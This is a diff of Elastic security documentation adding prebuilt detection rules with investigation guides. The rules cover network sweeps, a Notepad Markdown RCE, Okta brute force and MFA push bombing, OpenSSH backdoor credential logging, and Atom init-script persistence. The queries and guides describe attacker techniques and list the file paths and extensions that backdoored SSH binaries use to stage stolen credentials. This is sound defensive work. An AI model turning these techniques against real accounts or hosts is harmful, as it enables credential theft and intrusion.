Reconnaissance +* Use Case: Network Security Monitoring +* Data Source: PAN-OS +* Resources: Investigation Guide + +*Version*: 15 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Network Sweep Detected* + + +Network sweeps are reconnaissance techniques where attackers scan networks to identify active hosts and services, often targeting common ports. This activity helps adversaries map out network vulnerabilities for future exploitation. The detection rule identifies such sweeps by monitoring connection attempts from a single source to multiple destinations on key ports, flagging potential reconnaissance activities for further investigation. + + +*Possible investigation steps* + + +- Review the source IP address to determine if it belongs to a known or trusted entity within the network, focusing on the private IP ranges specified in the query (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16). +- Analyze the destination IP addresses to identify any patterns or commonalities, such as specific subnets or devices, that could indicate targeted reconnaissance. +- Check historical logs for previous connection attempts from the same source IP to see if there is a pattern of repeated scanning behavior or if this is an isolated incident. +- Investigate the specific ports targeted (21, 22, 23, 25, 139, 445, 3389, 5985, 5986) to determine if they are associated with critical services or known vulnerabilities within the network. +- Correlate the detected activity with any recent changes or incidents in the network environment that might explain the behavior, such as new device deployments or configuration changes. +- Consult threat intelligence sources to determine if the source IP or similar scanning patterns have been associated with known threat actors or campaigns. + + +*False positive analysis* + + +- Internal network scans by IT teams can trigger the rule. Regularly scheduled scans for security assessments should be documented and their source IPs added to an exception list to prevent false alerts. +- Automated monitoring tools that check network health might cause false positives. Identify these tools and exclude their IP addresses from the rule to avoid unnecessary alerts. +- Load balancers or network devices that perform health checks across multiple hosts can be mistaken for network sweeps. Exclude these devices by adding their IPs to a whitelist. +- Development or testing environments where multiple connections are made for legitimate purposes can trigger the rule. Ensure these environments are recognized and their IP ranges are excluded from monitoring. +- Misconfigured devices that repeatedly attempt to connect to multiple hosts can appear as network sweeps. Investigate and correct the configuration, then exclude these devices if necessary. + + +*Response and remediation* + + +- Isolate the source IP: Immediately isolate the source IP address identified in the alert from the network to prevent further reconnaissance or potential exploitation of identified vulnerabilities. + +- Block suspicious ports: Implement firewall rules to block incoming and outgoing traffic on the commonly targeted ports (21, 22, 23, 25, 139, 445, 3389, 5985, 5986) from the source IP to mitigate further scanning attempts. + +- Conduct a network-wide scan: Perform a comprehensive scan of the network to identify any unauthorized access or changes that may have occurred as a result of the network sweep. + +- Review and update access controls: Ensure that access controls and permissions are appropriately configured to limit exposure of critical services and sensitive data. + +- Monitor for recurrence: Set up enhanced monitoring and alerting for any future connection attempts from the source IP or similar patterns of network sweep activity. + +- Escalate to security operations: Notify the security operations team to conduct a deeper investigation into the source of the network sweep and assess any potential threats or breaches. + +- Document and report: Record all findings, actions taken, and lessons learned in an incident report to inform future response strategies and improve network defenses. + +==== Rule query + + +[source, js] +---------------------------------- +event.action:(network_flow or flow_started) and destination.port:(21 or 22 or 23 or 25 or 139 or 445 or 3389 or 5985 or 5986) and +source.ip:(10.0.0.0/8 or 172.16.0.0/12 or 192.168.0.0/16) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Remote System Discovery +** ID: T1018 +** Reference URL: https://attack.mitre.org/techniques/T1018/ +* Technique: +** Name: Network Service Discovery +** ID: T1046 +** Reference URL: https://attack.mitre.org/techniques/T1046/ +* Tactic: +** Name: Reconnaissance +** ID: TA0043 +** Reference URL: https://attack.mitre.org/tactics/TA0043/ +* Technique: +** Name: Active Scanning +** ID: T1595 +** Reference URL: https://attack.mitre.org/techniques/T1595/ +* Sub-technique: +** Name: Scanning IP Blocks +** ID: T1595.001 +** Reference URL: https://attack.mitre.org/techniques/T1595/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-notepad-markdown-rce-exploitation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-notepad-markdown-rce-exploitation.asciidoc new file mode 100644 index 0000000000..5a7102cfc1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-notepad-markdown-rce-exploitation.asciidoc @@ -0,0 +1,126 @@ +[[prebuilt-rule-8-19-20-potential-notepad-markdown-rce-exploitation]] +=== Potential Notepad Markdown RCE Exploitation + +Identifies a process started by Notepad after opening a Markdown file. This may indicate successful exploitation of a Notepad markdown parsing vulnerability (CVE-2026-20841) that can lead to arbitrary code execution. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-windows.sysmon_operational-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20841 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Microsoft Defender for Endpoint +* Data Source: Sysmon +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Notepad Markdown RCE Exploitation* + + +This rule detects a new child process launched by `notepad.exe` when Notepad was opened with a Markdown (`.md`) file. +This behavior can indicate exploitation of a Notepad remote code execution vulnerability where crafted Markdown content +triggers unintended process execution. + + +*Possible investigation steps* + + +- Validate the parent-child relationship and confirm `notepad.exe` is the direct parent of the suspicious process. +- Review the full command line of both parent and child processes, including the Markdown file path in `process.parent.args`. +- Identify the Markdown file source (email attachment, browser download, chat client, removable media, or network share). +- Inspect process ancestry and descendants for additional payload execution, script interpreters, or LOLBIN activity. +- Correlate with file, registry, and network events around the same timestamp to identify follow-on behavior. +- Determine whether the child process and its execution path are expected in your environment. + + +*False positive analysis* + + +- Legitimate automation or editor extensions may occasionally spawn helper processes from Notepad workflows. +- User-driven workflows that invoke external tools from Markdown previews can trigger this behavior. +- If benign, tune by excluding known-safe child process names, hashes, signed binaries, and approved file paths. + + +*Response and remediation* + + +- Isolate affected endpoints until scope is understood. +- Terminate suspicious child and descendant processes initiated from `notepad.exe`. +- Quarantine and preserve the triggering Markdown file for forensic analysis. +- Run endpoint malware scans and collect volatile artifacts (running processes, network connections, autoruns). +- Patch Windows/Notepad to the latest security update level addressing the vulnerability. +- Hunt for the same parent-child pattern across other hosts to identify additional impacted systems. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : "notepad.exe" and process.parent.args : "*.md" and + not process.executable : "C:\\Program Files\\WindowsApps\\Microsoft.WindowsNotepad_*\\Notepad\\Notepad.exe" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Exploitation for Client Execution +** ID: T1203 +** Reference URL: https://attack.mitre.org/techniques/T1203/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-okta-brute-force-device-token-rotation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-okta-brute-force-device-token-rotation.asciidoc new file mode 100644 index 0000000000..c085730706 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-okta-brute-force-device-token-rotation.asciidoc @@ -0,0 +1,162 @@ +[[prebuilt-rule-8-19-20-potential-okta-brute-force-device-token-rotation]] +=== Potential Okta Brute Force (Device Token Rotation) + +Detects potential brute force attacks against a single Okta user account where excessive unique device token hashes are generated, indicating automated tooling that fails to persist browser cookies between attempts. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.okta.com/help/s/article/Troubleshooting-Distributed-Brute-Force-andor-Password-Spray-attacks-in-Okta +* https://www.okta.com/identity-101/brute-force/ +* https://support.okta.com/help/s/article/How-does-the-Device-Token-work?language=en_US +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection +* https://www.okta.com/resources/whitepaper-how-adaptive-mfa-can-help-in-mitigating-brute-force-attacks/ +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Domain: Identity +* Use Case: Identity and Access Audit +* Data Source: Okta +* Tactic: Credential Access +* Resources: Investigation Guide + +*Version*: 211 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Okta Brute Force (Device Token Rotation)* + + +This rule identifies excessive unique device token hashes generated for a single user account, indicating automated brute force tooling that fails to persist browser cookies between authentication attempts. + + +*Possible investigation steps* + +- Identify the targeted user account and determine if it has elevated privileges or sensitive access. +- Review the source IP and check if it belongs to known proxy, VPN, or cloud infrastructure. +- Examine user agent strings for signs of automation, scripting tools, or inconsistent browser fingerprints. +- Check if Okta flagged the source as a known threat or proxy. +- Determine if any authentication attempts succeeded following the failed attempts. +- Review the user's recent activity for signs of account compromise. + + +*False positive analysis* + +- Users experiencing login issues may generate multiple device tokens through repeated legitimate attempts. +- Automated testing or monitoring tools that do not persist cookies may trigger this rule. +- Browser extensions or privacy tools that clear cookies between requests may cause device token rotation. + + +*Response and remediation* + +- If attack is confirmed, reset the user's password immediately. +- Block the source IP at the network perimeter. +- Review and potentially reset MFA for the targeted account. +- Monitor for any successful authentication that may indicate compromise. +- Contact the user to verify if they experienced legitimate login issues. + + +==== Setup + + +The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-okta.system-* METADATA _id, _version, _index +| WHERE + event.dataset == "okta.system" + AND (event.action LIKE "user.authentication.*" OR event.action == "user.session.start") + AND okta.outcome.reason IN ("INVALID_CREDENTIALS", "LOCKED_OUT") + AND okta.actor.alternate_id IS NOT NULL + // Primary authn endpoint; sessions API provides additional coverage + AND ( + okta.debug_context.debug_data.request_uri == "/api/v1/authn" + OR okta.debug_context.debug_data.request_uri LIKE "/api/v1/sessions*" + ) +// Track whether each event has a device token +| EVAL has_dt_hash = CASE(okta.debug_context.debug_data.dt_hash IS NOT NULL, 1, 0) +// Aggregate by IP + user to detect single-user brute force +| STATS + Esql.unique_dt_hashes = COUNT_DISTINCT(okta.debug_context.debug_data.dt_hash), + Esql.total_attempts = COUNT(*), + Esql.attempts_with_dt = SUM(has_dt_hash), + Esql.unique_user_agents = COUNT_DISTINCT(okta.client.user_agent.raw_user_agent), + Esql.first_seen = MIN(@timestamp), + Esql.last_seen = MAX(@timestamp), + Esql.dt_hash_values = VALUES(okta.debug_context.debug_data.dt_hash), + Esql.event_action_values = VALUES(event.action), + Esql.user_agent_values = VALUES(okta.client.user_agent.raw_user_agent), + Esql.device_values = VALUES(okta.client.device), + Esql.is_proxy_values = VALUES(okta.security_context.is_proxy), + Esql.geo_country_values = VALUES(client.geo.country_name), + Esql.geo_city_values = VALUES(client.geo.city_name), + Esql.source_asn_values = VALUES(source.as.number), + Esql.source_asn_org_values = VALUES(source.as.organization.name), + Esql.threat_suspected_values = VALUES(okta.debug_context.debug_data.threat_suspected), + Esql.risk_level_values = VALUES(okta.debug_context.debug_data.risk_level), + Esql.risk_reasons_values = VALUES(okta.debug_context.debug_data.risk_reasons) + BY okta.client.ip, okta.actor.alternate_id +// Calculate automation detection metrics (float-safe division) +| EVAL Esql.dt_coverage = Esql.attempts_with_dt * 1.0 / Esql.total_attempts, + Esql.dt_per_attempt = Esql.unique_dt_hashes * 1.0 / Esql.total_attempts +// Detection branches: +// A) Many unique DT hashes relative to attempts = tooling generating new tokens per attempt +// B) High attempts + very low DT coverage = cookie-less automation (no DT sent at all) +// C) Multiple user agents for same user = evasion or automation +| WHERE + (Esql.unique_dt_hashes >= 7 AND Esql.total_attempts >= 10 AND Esql.dt_per_attempt >= 0.5) + OR (Esql.total_attempts >= 12 AND Esql.dt_coverage < 0.15) + OR (Esql.total_attempts >= 10 AND Esql.unique_user_agents >= 5) +| SORT Esql.total_attempts DESC +| KEEP Esql.*, okta.client.ip, okta.actor.alternate_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Guessing +** ID: T1110.001 +** Reference URL: https://attack.mitre.org/techniques/T1110/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-okta-mfa-bombing-via-push-notifications.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-okta-mfa-bombing-via-push-notifications.asciidoc new file mode 100644 index 0000000000..978632a962 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-okta-mfa-bombing-via-push-notifications.asciidoc @@ -0,0 +1,150 @@ +[[prebuilt-rule-8-19-20-potential-okta-mfa-bombing-via-push-notifications]] +=== Potential Okta MFA Bombing via Push Notifications + +Detects when an attacker abuses the Multi-Factor authentication mechanism by repeatedly issuing login requests until the user eventually accepts the Okta push notification. An adversary may attempt to bypass the Okta MFA policies configured for an organization to obtain unauthorized access. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-okta.system* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.mandiant.com/resources/russian-targeting-gov-business +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection +* https://www.rezonate.io/blog/okta-logs-decoded-unveiling-identity-threats-through-threat-hunting/ +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Domain: Identity +* Use Case: Identity and Access Audit +* Tactic: Credential Access +* Data Source: Okta +* Data Source: Okta System Logs +* Resources: Investigation Guide + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Okta MFA Bombing via Push Notifications* + + +Multi-Factor Authentication (MFA) is an effective method to prevent unauthorized access. However, some adversaries may abuse the system by repeatedly sending MFA push notifications until the user unwittingly approves the access. + +This rule detects when a user denies MFA Okta Verify push notifications twice, followed by a successful authentication event within a 10-minute window. This sequence could indicate an adversary's attempt to bypass the Okta MFA policy. + + +*Possible investigation steps:* + + +- Identify the user who received the MFA notifications by reviewing the `user.email` field. +- Identify the time, source IP, and geographical location of the MFA requests and the subsequent successful login. +- Review the `event.action` field to understand the nature of the events. It should include two `user.mfa.okta_verify.deny_push` actions and one `user.authentication.sso` action. +- Ask the user if they remember receiving the MFA notifications and subsequently logging into their account. +- Check if the MFA requests and the successful login occurred during the user's regular activity hours. +- Look for any other suspicious activity on the account around the same time. +- Identify whether the same pattern is repeated for other users in your organization. Multiple users receiving push notifications simultaneously might indicate a larger attack. + + +*False positive analysis:* + + +- Determine if the MFA push notifications were legitimate. Sometimes, users accidentally trigger MFA requests or deny them unintentionally and later approve them. +- Check if there are known issues with the MFA system causing false denials. + + +*Response and remediation:* + + +- If unauthorized access is confirmed, initiate your incident response process. +- Alert the user and your IT department immediately. +- If possible, isolate the user's account until the issue is resolved. +- Investigate the source of the unauthorized access. +- If the account was accessed by an unauthorized party, determine the actions they took after logging in. +- Consider enhancing your MFA policy to prevent such incidents in the future. +- Encourage users to report any unexpected MFA notifications immediately. +- Review and update your incident response plans and security policies based on the findings from the incident. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by okta.actor.id with maxspan=10m + [ any + where event.dataset == "okta.system" + and ( + okta.event_type == "user.mfa.okta_verify.deny_push" + or ( + okta.event_type == "user.authentication.auth_via_mfa" + and okta.debug_context.debug_data.factor == "OKTA_VERIFY_PUSH" + and okta.outcome.reason == "INVALID_CREDENTIALS" + ) + ) + ] with runs=5 + until + [ any + where event.dataset == "okta.system" + and okta.event_type in ( + "user.authentication.sso", + "user.authentication.auth_via_mfa", + "user.authentication.verify", + "user.session.start" + ) + and okta.outcome.result == "SUCCESS" + ] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Multi-Factor Authentication Request Generation +** ID: T1621 +** Reference URL: https://attack.mitre.org/techniques/T1621/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-openssh-backdoor-logging-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-openssh-backdoor-logging-activity.asciidoc new file mode 100644 index 0000000000..8be07bb27c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-openssh-backdoor-logging-activity.asciidoc @@ -0,0 +1,220 @@ +[[prebuilt-rule-8-19-20-potential-openssh-backdoor-logging-activity]] +=== Potential OpenSSH Backdoor Logging Activity + +Identifies a Secure Shell (SSH) client or server process creating a known SSH backdoor log file. Adversaries may modify SSH related binaries for persistence or credential access via patching sensitive functions to enable unauthorized access or to log SSH credentials for exfiltration. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file-* +* endgame-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/eset/malware-ioc/tree/master/sshdoor +* https://www.welivesecurity.com/wp-content/uploads/2021/01/ESET_Kobalos.pdf + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Credential Access +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential OpenSSH Backdoor Logging Activity* + + +OpenSSH is a widely used protocol for secure remote administration and file transfers. Adversaries may exploit OpenSSH by modifying its binaries to log credentials or maintain unauthorized access. The detection rule identifies suspicious file changes linked to SSH processes, focusing on unusual file names, extensions, and paths indicative of backdoor activity, thus helping to uncover potential security breaches. + + +*Possible investigation steps* + + +- Review the file change event details to identify the specific file name, extension, and path involved in the alert. Pay particular attention to unusual file names or extensions and paths listed in the query, such as "/usr/lib/*.so.*" or "/private/etc/ssh/.sshd_auth". +- Examine the process executable that triggered the alert, either "/usr/sbin/sshd" or "/usr/bin/ssh", to determine if it has been modified or replaced. Check the integrity of these binaries using hash comparisons against known good versions. +- Investigate the user account associated with the process that made the file change. Determine if the account has a history of suspicious activity or if it has been compromised. +- Check for any recent or unusual login attempts or sessions related to the SSH service on the host. Look for patterns that might indicate unauthorized access or credential harvesting. +- Analyze system logs, such as auth.log or secure.log, for any anomalies or entries that coincide with the time of the file change event. This can provide additional context or evidence of malicious activity. +- If a backdoor is suspected, consider isolating the affected system from the network to prevent further unauthorized access and begin remediation efforts, such as restoring from a clean backup or reinstalling the affected services. + + +*False positive analysis* + + +- Routine system updates or package installations may trigger file changes in SSH-related directories. Users can create exceptions for known update processes to prevent false alerts. +- Custom scripts or administrative tasks that modify SSH configuration files for legitimate purposes might be flagged. Users should whitelist these scripts or processes if they are verified as non-malicious. +- Backup or synchronization tools that create temporary files with unusual extensions or names in SSH directories can cause false positives. Exclude these tools from monitoring if they are part of regular operations. +- Development or testing environments where SSH binaries are frequently modified for testing purposes may generate alerts. Implement exclusions for these environments to reduce noise. +- Automated configuration management tools like Ansible or Puppet that modify SSH settings as part of their operations can be excluded if they are part of authorized workflows. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious SSH processes identified in the alert to halt potential backdoor activity. +- Conduct a thorough review of the modified files and binaries, particularly those listed in the query, to assess the extent of the compromise and identify any malicious code or unauthorized changes. +- Restore affected files and binaries from a known good backup to ensure system integrity and remove any backdoor modifications. +- Change all SSH credentials and keys associated with the compromised system to prevent unauthorized access using potentially logged credentials. +- Implement additional monitoring on the affected system and network for any signs of persistence or further malicious activity, focusing on the paths and file types highlighted in the detection query. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems may be affected, ensuring a coordinated response to the threat. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend +- Auditbeat + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +*Custom Ingest Pipeline* + +For versions <8.2, you need to add a custom ingest pipeline to populate `event.ingested` with @timestamp for non-elastic-agent indexes, like auditbeats/filebeat/winlogbeat etc. For more details to add a custom ingest pipeline refer to the https://www.elastic.co/guide/en/fleet/current/data-streams-pipeline-tutorial.html[guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.type == "creation" and process.name in ("ssh", "sshd") and + ( + ( + file.name : (".*", "~*", "*~") and not file.name : ( + ".cache", ".viminfo", ".bash_history", ".google_authenticator", ".jelenv", ".csvignore", ".rtreport", ".git*" + ) + ) or + file.extension : ("in", "out", "ini", "h", "gz", "so", "sock", "sync", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9") or + file.path : + ( + "/tmp/*", + "/var/tmp/*", + "/dev/shm/*", + "/usr/share/*", + "/usr/include/*", + "/usr/local/include/*", + "/usr/share/man/*", + "/usr/local/share/*", + "/usr/lib/*.so.*", + "/usr/bin/ssd", + "/var/run/sshd/sshd.pid", + "/var/run/nscd/ns.pid", + "/var/run/udev/ud.pid", + "/var/run/udevd.pid" + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Compromise Host Software Binary +** ID: T1554 +** Reference URL: https://attack.mitre.org/techniques/T1554/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data Staged +** ID: T1074 +** Reference URL: https://attack.mitre.org/techniques/T1074/ +* Sub-technique: +** Name: Local Data Staging +** ID: T1074.001 +** Reference URL: https://attack.mitre.org/techniques/T1074/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-persistence-via-atom-init-script-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-persistence-via-atom-init-script-modification.asciidoc new file mode 100644 index 0000000000..d2c7c21db1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-persistence-via-atom-init-script-modification.asciidoc @@ -0,0 +1,155 @@ +[[prebuilt-rule-8-19-20-potential-persistence-via-atom-init-script-modification]] +=== Potential Persistence via Atom Init Script Modification + +Identifies modifications to the Atom desktop text editor Init File. Adversaries may add malicious JavaScript code to the init.coffee file that will be executed upon the Atom application opening. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/D00MFist/PersistentJXA/blob/master/AtomPersist.js +* https://flight-manual.atom.io/hacking-atom/sections/the-init-file/ + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Persistence via Atom Init Script Modification* + + +Atom, a popular text editor, allows customization via the `init.coffee` script, which executes JavaScript upon startup. Adversaries exploit this by embedding malicious code, ensuring persistence each time Atom launches. The detection rule identifies suspicious modifications to this script on macOS, excluding benign processes and root user actions, thus highlighting potential unauthorized persistence attempts. + + +*Possible investigation steps* + + +- Review the file modification details for /Users/*/.atom/init.coffee to identify the exact changes made to the script. +- Investigate the process that modified the init.coffee file by examining the process name and user associated with the modification, ensuring it is not Atom, xpcproxy, or the root user. +- Check the user account involved in the modification for any unusual activity or recent changes, such as new software installations or privilege escalations. +- Analyze the content of the modified init.coffee file for any suspicious or unfamiliar JavaScript code that could indicate malicious intent. +- Correlate the modification event with other security alerts or logs from the same host to identify any related suspicious activities or patterns. +- If malicious code is found, isolate the affected system and conduct a deeper forensic analysis to determine the scope and impact of the potential compromise. + + +*False positive analysis* + + +- Frequent legitimate updates to the init.coffee file by developers or power users can trigger alerts. To manage this, create exceptions for specific user accounts known to regularly modify this file for legitimate purposes. +- Automated scripts or tools that modify the init.coffee file as part of a legitimate configuration management process may cause false positives. Identify these processes and exclude them from the rule by adding their process names to the exception list. +- Non-malicious third-party Atom packages that require modifications to the init.coffee file for functionality can be mistaken for threats. Review and whitelist these packages if they are verified as safe and necessary for user workflows. 